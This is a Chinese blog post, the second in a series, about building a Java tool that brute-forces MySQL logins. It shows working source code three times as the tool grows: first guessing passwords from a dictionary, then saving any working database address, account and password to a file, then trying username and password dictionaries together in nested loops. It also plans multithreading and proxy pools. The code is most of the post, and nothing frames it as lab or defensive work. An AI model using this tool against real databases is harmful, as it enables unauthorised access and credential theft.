记-一个数据库密码爆破工具的成长历程(2)
数据库密码爆破工具的优化
- 使用scanner从控制台读取字典位置和数据库位置
- 在控制台输出密码使用起来还是不太方便,将正确的密码通过字节流写入到一个文档中。
- 密码都写了,不妨吧数据库的地址和账号密码一起写入。
- 目前爆破仅限于密码,所以后面可以设计循环嵌套将账户密码一起爆破。
- 爆破目前使用的是单线程,所以为了后期的实用性,会加上多线程和代理池。
- 代码格式的文件对很多人来说使用还是不够方便,所以图形化界面也是需要进行的。
目前代码:
package jsp;
import java.io.*;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.Scanner;
public class sql {
public static void main(String[] args) throws IOException {
Scanner sc1 = new Scanner(System.in);
System.out.println("请输入爆破字典地址(绝对路径)");
String zdadd = sc1.next();
Scanner sc2 = new Scanner(System.in);
System.out.println("请输入数据库地址(jdbc格式)");
String sqladd = sc2.next();
String path = zdadd;
File file = new File(path);
StringBuilder result = new StringBuilder();
try {
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//构造一个BufferedReader类来读取文件
String s = null;
while ((s = br.readLine()) != null) {//使用readLine方法,一次读一行
result.append(System.lineSeparator() + s);
try {
Class.forName("com.mysql.jdbc.Driver");
String url = sqladd;
String username = "root1";
String password = s;
Connection conn = DriverManager.getConnection(url,username,password);
System.out.println("密码正确");
System.out.println("正确密码是"+s);
} catch (ClassNotFoundException | SQLException e) {
System.out.println("密码错误");
}
}
br.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
第一步的优化已经完成,现在就要进行第二步。
第二步和第三步我想做的都是把获得的结果输入到文件中,要做到这一步,需要使用到一个文件写入。
也就是下面这行代码:
FileWriter fw = new FileWriter("C://a/gpasswd.txt"); BufferedWriter bw = new BufferedWriter(fw);
bw.write("数据库地址是:"+url+"\r\n");
bw.write("数据库账号是:"+username+"\r\n");
bw.write("数据库密码是:"+s+"\r\n");
bw.close();
fw.close();
第一行是指定了文件写入的位置,第二行则创建了一个文件写入的对象。然后就是很简单,加上注释之后,把辊间的信息写入到文件之中,然后释放资源。
所以,在添加了这些之后,代码就会变成下面这样。
package jsp;
import java.io.*;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.Scanner;
public class sql {
public static void main(String[] args) throws IOException {
Scanner sc1 = new Scanner(System.in);
System.out.println("请输入爆破字典地址(绝对路径)");
String zdadd = sc1.next();
Scanner sc2 = new Scanner(System.in);
System.out.println("请输入数据库地址(jdbc格式)");
String sqladd = sc2.next();
String path = zdadd;
File file = new File(path);
StringBuilder result = new StringBuilder();
try {
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//构造一个BufferedReader类来读取文件
String s = null;
while ((s = br.readLine()) != null) {//使用readLine方法,一次读一行
result.append(System.lineSeparator() + s);
try {
Class.forName("com.mysql.jdbc.Driver");
String url = sqladd;
String username = "root1";
String password = s;
Connection conn = DriverManager.getConnection(url,username,password);
FileWriter fw = new FileWriter("C://a/gpasswd.txt");
BufferedWriter bw = new BufferedWriter(fw);
bw.write("数据库地址是:"+url+"\r\n");
bw.write("数据库账号是:"+username+"\r\n");
bw.write("数据库密码是:"+s+"\r\n");
bw.close();
fw.close();
} catch (ClassNotFoundException | SQLException e) {
}
}
br.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
然后就是第四步了,也就是到目前位置,我们爆破仅限于密码,并没有对用户名同时进行一个爆破,所以,这里就要尝试进行用户名的爆破。
这一步其实要做到很简单,因为我们之前已经完成了定义字典的位置,然后利用bufferedReader将里面的内容读取出来,现在只是多增加一个字典的读取,然后将外界的循环变成两个就可以了。
通俗一点,就是两个循环的嵌套。
package jsp;
import java.io.*;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.Scanner;
public class sql {
public static void main(String[] args) throws IOException {
Scanner sc = new Scanner(System.in);
System.out.println("请输入用户名爆破字典地址(绝对路径)");
String unadd = sc.next();
Scanner sc1 = new Scanner(System.in);
System.out.println("请输入密码爆破字典地址(绝对路径)");
String pdadd = sc1.next();
Scanner sc2 = new Scanner(System.in);
System.out.println("请输入数据库地址(jdbc格式)");
String sqladd = sc2.next();
String path1 = unadd;
File file1 = new File(path1);
StringBuilder result1 = new StringBuilder();
String path = pdadd;
File file = new File(path);
StringBuilder result = new StringBuilder();
try {
BufferedReader br1 = new BufferedReader(new InputStreamReader(new FileInputStream(file1),"UTF-8"));
String s1 = null;
while((s1 = br1.readLine())!=null) {
result1.append(System.lineSeparator() + s1);
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//构造一个BufferedReader类来读取文件
String s = null;
while ((s = br.readLine()) != null) {//使用readLine方法,一次读一行
result.append(System.lineSeparator() + s);
try {
Class.forName("com.mysql.jdbc.Driver");
String url = sqladd;
String username = s1;
String password = s;
Connection conn = DriverManager.getConnection(url, username, password);
FileWriter fw = new FileWriter("C://a/gpasswd.txt");
BufferedWriter bw = new BufferedWriter(fw);
bw.write("数据库地址是:" + url + "\r\n");
bw.write("数据库账号是:" + username + "\r\n");
bw.write("数据库密码是:" + s + "\r\n");
bw.close();
fw.close();
} catch (ClassNotFoundException | SQLException e) {
}
}
br.close();
}
br1.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
到了这一步,一个简单的Mysql数据库账号密码的爆破工具已经结束了。目前来说,这个工具的实用性不高,只能针对于mysql数据库,后面如果有一些别的思路,会针对这个工具再进行修改。
针对于多线程等问题,过段时间会再进行修复。